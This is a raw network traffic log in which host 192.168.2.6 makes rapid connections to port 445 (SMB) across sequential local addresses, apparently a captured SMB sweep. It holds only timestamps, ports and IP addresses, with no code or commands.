Jul 6, 2024 14:11:27.524305105 CEST	50763	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:27.531708002 CEST	50765	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:27.533058882 CEST	445	50764	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:27.533117056 CEST	50764	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:27.533166885 CEST	50764	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:27.534508944 CEST	50767	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:27.536583900 CEST	445	50765	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:27.536648035 CEST	50765	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:27.536732912 CEST	50765	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:27.538249969 CEST	445	50764	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:27.538460970 CEST	445	50764	192.168.1.136	192.168.2.6
Jul 6, 2024 14:11:27.539288998 CEST	50769	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:27.539288998 CEST	50770	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:27.539690971 CEST	445	50767	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:27.539709091 CEST	445	50762	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:27.539719105 CEST	445	50763	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:27.539819956 CEST	50767	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:27.539958954 CEST	50767	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:27.541335106 CEST	50772	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:27.542268038 CEST	445	50765	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:27.542316914 CEST	50765	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:27.542438030 CEST	50762	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:27.542438030 CEST	50763	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:27.542438030 CEST	50762	445	192.168.2.6	192.168.1.134
Jul 6, 2024 14:11:27.542438030 CEST	50763	445	192.168.2.6	192.168.1.135
Jul 6, 2024 14:11:27.546667099 CEST	445	50767	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:27.546678066 CEST	445	50767	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:27.546719074 CEST	50767	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:27.546756983 CEST	445	50772	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:27.547220945 CEST	445	50769	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:27.547230959 CEST	445	50770	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:27.547403097 CEST	50772	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:27.547403097 CEST	50772	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:27.547525883 CEST	445	50762	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:27.547662020 CEST	445	50763	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:27.547816038 CEST	445	50762	192.168.1.134	192.168.2.6
Jul 6, 2024 14:11:27.548434973 CEST	445	50763	192.168.1.135	192.168.2.6
Jul 6, 2024 14:11:27.551815987 CEST	50769	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:27.551815987 CEST	50770	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:27.551815987 CEST	50769	445	192.168.2.6	192.168.1.137
Jul 6, 2024 14:11:27.551815987 CEST	50770	445	192.168.2.6	192.168.1.138
Jul 6, 2024 14:11:27.554568052 CEST	445	50772	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:27.556020975 CEST	50772	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:27.556020975 CEST	50773	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:27.557179928 CEST	445	50769	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:27.557189941 CEST	445	50770	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:27.558763027 CEST	445	50769	192.168.1.137	192.168.2.6
Jul 6, 2024 14:11:27.559042931 CEST	445	50770	192.168.1.138	192.168.2.6
Jul 6, 2024 14:11:27.562812090 CEST	445	50773	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:27.563640118 CEST	50773	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:27.563640118 CEST	50773	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:27.569322109 CEST	50775	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:27.569399118 CEST	50776	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:27.571734905 CEST	445	50773	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:27.573673010 CEST	50778	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:27.574533939 CEST	445	50775	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:27.574779034 CEST	50775	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:27.574779034 CEST	50775	445	192.168.2.6	192.168.1.139
Jul 6, 2024 14:11:27.574794054 CEST	445	50776	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:27.578167915 CEST	50773	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:27.578469038 CEST	50776	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:27.578469038 CEST	50776	445	192.168.2.6	192.168.1.140
Jul 6, 2024 14:11:27.578804016 CEST	445	50778	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:27.580130100 CEST	50778	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:27.580130100 CEST	50778	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:27.580641985 CEST	445	50775	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:27.581358910 CEST	445	50775	192.168.1.139	192.168.2.6
Jul 6, 2024 14:11:27.583537102 CEST	445	50776	192.168.1.140	192.168.2.6
Jul 6, 2024 14:11:27.585737944 CEST	445	50778	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:27.585781097 CEST	50778	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:27.586622000 CEST	50782	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:27.586796999 CEST	50780	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:27.592086077 CEST	445	50782	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:27.592581987 CEST	50782	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:27.592581987 CEST	50782	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:27.593837976 CEST	445	50780	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:27.595237970 CEST	50779	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:27.595767021 CEST	50780	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:27.595767021 CEST	50780	445	192.168.2.6	192.168.1.142
Jul 6, 2024 14:11:27.601121902 CEST	445	50779	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:27.601320028 CEST	50779	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:27.601320028 CEST	50779	445	192.168.2.6	192.168.1.141
Jul 6, 2024 14:11:27.601865053 CEST	50783	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:27.604110003 CEST	445	50782	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:27.606970072 CEST	445	50783	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:27.607353926 CEST	50783	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:27.607353926 CEST	50783	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:27.608344078 CEST	445	50780	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:27.608520985 CEST	445	50780	192.168.1.142	192.168.2.6
Jul 6, 2024 14:11:27.608678102 CEST	445	50779	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:27.608899117 CEST	445	50779	192.168.1.141	192.168.2.6
Jul 6, 2024 14:11:27.613178015 CEST	50782	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:27.616518974 CEST	50785	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:27.617357969 CEST	445	50783	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:27.618802071 CEST	50783	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:27.620436907 CEST	50787	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:27.626251936 CEST	445	50787	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:27.627491951 CEST	50787	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:27.627491951 CEST	50787	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:27.632155895 CEST	445	50785	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:27.632802963 CEST	445	50787	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:27.634386063 CEST	50785	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:27.634386063 CEST	50785	445	192.168.2.6	192.168.1.143
Jul 6, 2024 14:11:27.634618044 CEST	50789	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:27.635675907 CEST	50787	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:27.639561892 CEST	445	50789	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:27.642688990 CEST	50789	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:27.642688990 CEST	50789	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:27.647859097 CEST	445	50789	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:27.648824930 CEST	50789	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:27.650835037 CEST	50790	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:27.650835037 CEST	50791	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:27.651233912 CEST	445	50785	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:27.651525021 CEST	445	50785	192.168.1.143	192.168.2.6
Jul 6, 2024 14:11:27.651968002 CEST	50792	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:27.655642033 CEST	445	50790	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:27.655651093 CEST	445	50791	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:27.656228065 CEST	50790	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:27.656228065 CEST	50791	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:27.656228065 CEST	50790	445	192.168.2.6	192.168.1.144
Jul 6, 2024 14:11:27.656228065 CEST	50791	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:27.656971931 CEST	445	50792	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:27.659235001 CEST	50792	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:27.659235001 CEST	50792	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:27.661086082 CEST	445	50790	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:27.661247969 CEST	445	50791	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:27.661710024 CEST	445	50790	192.168.1.144	192.168.2.6
Jul 6, 2024 14:11:27.662048101 CEST	445	50791	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:27.663069010 CEST	50794	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:27.664530993 CEST	445	50792	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:27.664577961 CEST	50792	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:27.666975975 CEST	50796	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:27.667941093 CEST	445	50794	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:27.668759108 CEST	50794	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:27.668759108 CEST	50794	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:27.672904968 CEST	445	50796	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:27.672972918 CEST	50796	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:27.674200058 CEST	445	50794	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:27.674209118 CEST	445	50794	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:27.678347111 CEST	445	50796	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:27.679533958 CEST	50796	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:27.682117939 CEST	50796	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:27.682440996 CEST	50797	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:27.685941935 CEST	50798	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:27.686911106 CEST	445	50796	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:27.687930107 CEST	445	50797	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:27.687984943 CEST	50797	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:27.689088106 CEST	50797	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:27.690932035 CEST	445	50798	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:27.691734076 CEST	50798	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:27.693224907 CEST	445	50797	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:27.693270922 CEST	50797	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:27.694154978 CEST	445	50797	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:27.696048975 CEST	50798	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:27.696966887 CEST	445	50798	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:27.697021961 CEST	50798	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:27.698595047 CEST	445	50797	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:27.700902939 CEST	445	50798	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:27.710048914 CEST	50801	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:27.712229967 CEST	50803	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:27.714823008 CEST	445	50801	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:27.714873075 CEST	50801	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:27.714976072 CEST	50801	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:27.717818975 CEST	445	50803	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:27.719310045 CEST	50803	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:27.719310045 CEST	50803	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:27.720122099 CEST	445	50801	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:27.720196962 CEST	50801	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:27.720411062 CEST	445	50801	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:27.722903967 CEST	50799	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:27.724318027 CEST	445	50803	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:27.724360943 CEST	50803	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:27.725060940 CEST	445	50801	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:27.725863934 CEST	50805	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:27.728818893 CEST	445	50799	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:27.732393026 CEST	50806	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:27.732909918 CEST	445	50805	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:27.733046055 CEST	50799	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:27.733046055 CEST	50799	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:27.736860037 CEST	50805	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:27.736860037 CEST	50805	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:27.740935087 CEST	445	50806	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:27.741477013 CEST	50806	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:27.741477013 CEST	50806	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:27.741507053 CEST	50808	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:27.741946936 CEST	445	50805	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:27.741983891 CEST	50805	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:27.742913008 CEST	50809	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:27.746417046 CEST	445	50806	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:27.746726990 CEST	445	50806	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:27.746736050 CEST	445	50808	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:27.747569084 CEST	50806	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:27.748517036 CEST	445	50809	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:27.748574018 CEST	50809	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:27.749250889 CEST	50808	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:27.749250889 CEST	50808	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:27.751377106 CEST	445	50799	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:27.751472950 CEST	445	50799	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:27.753832102 CEST	445	50809	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:27.753881931 CEST	50809	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:27.754435062 CEST	445	50808	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:27.754528999 CEST	445	50808	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:27.756772041 CEST	50809	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:27.756968975 CEST	50811	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:27.757061958 CEST	50812	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:27.758261919 CEST	50814	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:27.761655092 CEST	445	50809	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:27.761759996 CEST	445	50811	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:27.762661934 CEST	445	50812	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:27.763005972 CEST	445	50814	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:27.763225079 CEST	50812	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:27.763225079 CEST	50812	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:27.763734102 CEST	50811	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:27.763734102 CEST	50811	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:27.764631033 CEST	50814	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:27.764631033 CEST	50814	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:27.768249989 CEST	445	50812	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:27.768495083 CEST	445	50812	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:27.770418882 CEST	445	50811	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:27.770637989 CEST	445	50811	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:27.772677898 CEST	445	50814	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:27.773344040 CEST	50815	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:27.773616076 CEST	50814	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:27.773665905 CEST	50817	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:27.778652906 CEST	445	50817	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:27.780524969 CEST	445	50815	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:27.781410933 CEST	50815	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:27.781410933 CEST	50815	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:27.783818960 CEST	50817	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:27.784140110 CEST	50816	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:27.786359072 CEST	445	50815	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:27.786559105 CEST	445	50815	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:27.787960052 CEST	50817	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:27.788971901 CEST	445	50816	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:27.789350033 CEST	50820	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:27.791655064 CEST	445	50817	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:27.791722059 CEST	50817	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:27.792735100 CEST	445	50817	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:27.794437885 CEST	445	50820	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:27.794564009 CEST	50820	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:27.794564009 CEST	50820	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:27.799235106 CEST	50816	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:27.799235106 CEST	50816	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:27.801197052 CEST	445	50820	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:27.801938057 CEST	50820	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:27.804972887 CEST	50822	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:27.806298018 CEST	445	50816	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:27.806653023 CEST	445	50816	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:27.807132006 CEST	50821	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:27.810060978 CEST	445	50822	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:27.810139894 CEST	50822	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:27.813009024 CEST	445	50821	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:27.814615965 CEST	50821	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:27.814615965 CEST	50821	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:27.815754890 CEST	445	50822	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:27.817240000 CEST	50822	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:27.819688082 CEST	445	50821	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:27.819782972 CEST	445	50821	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:27.820812941 CEST	50827	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:27.821419001 CEST	50822	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:27.821419001 CEST	50824	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:27.821419001 CEST	50825	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:27.825854063 CEST	445	50827	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:27.826354980 CEST	445	50822	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:27.826438904 CEST	445	50824	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:27.826498985 CEST	50824	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:27.826545000 CEST	50824	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:27.826631069 CEST	445	50825	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:27.826683044 CEST	50825	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:27.826730967 CEST	50825	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:27.829420090 CEST	50827	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:27.831614017 CEST	445	50824	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:27.831640959 CEST	445	50824	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:27.831784964 CEST	445	50825	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:27.831801891 CEST	445	50825	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:27.834934950 CEST	445	50827	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:27.836226940 CEST	50827	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:27.836226940 CEST	50827	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:27.836987019 CEST	50829	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:27.841559887 CEST	445	50827	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:27.842777014 CEST	445	50829	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:27.842974901 CEST	50829	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:27.849159002 CEST	445	50829	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:27.849203110 CEST	50829	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:27.850451946 CEST	50829	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:27.851751089 CEST	50831	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:27.855560064 CEST	445	50829	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:27.856832981 CEST	445	50831	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:27.860430956 CEST	50831	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:27.860430956 CEST	50831	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:27.866313934 CEST	50833	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:27.867597103 CEST	50836	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:27.868194103 CEST	445	50831	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:27.868376970 CEST	50832	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:27.868376970 CEST	50834	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:27.870230913 CEST	50831	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:27.871181011 CEST	445	50833	192.168.0.1	192.168.2.6
Jul 6, 2024 14:11:27.871515036 CEST	50833	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:27.871515036 CEST	50833	445	192.168.2.6	192.168.0.1
Jul 6, 2024 14:11:27.872909069 CEST	445	50836	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:27.872951984 CEST	50836	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:27.873040915 CEST	50836	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:27.873192072 CEST	445	50832	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:27.873378992 CEST	445	50834	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:27.876457930 CEST	445	50833	192.168.0.1	192.168.2.6
Jul 6, 2024 14:11:27.876763105 CEST	50832	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:27.876763105 CEST	50832	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:27.876763105 CEST	50834	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:27.876763105 CEST	50834	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:27.876782894 CEST	445	50833	192.168.0.1	192.168.2.6
Jul 6, 2024 14:11:27.878457069 CEST	445	50836	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:27.878499985 CEST	50836	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:27.883008003 CEST	50838	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:27.888354063 CEST	445	50838	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:27.888427019 CEST	50838	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:27.889467001 CEST	445	50832	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:27.889822006 CEST	445	50832	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:27.890060902 CEST	445	50834	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:27.890069962 CEST	445	50834	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:27.893795967 CEST	445	50838	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:27.893846989 CEST	50838	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:27.897358894 CEST	50838	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:27.897671938 CEST	50839	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:27.897824049 CEST	50841	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:27.898070097 CEST	50840	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:27.902364969 CEST	445	50838	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:27.902642965 CEST	445	50839	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:27.902718067 CEST	50839	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:27.902721882 CEST	445	50841	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:27.902755022 CEST	50839	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:27.902769089 CEST	50841	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:27.902863979 CEST	50841	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:27.904355049 CEST	445	50840	192.168.1.160	192.168.2.6
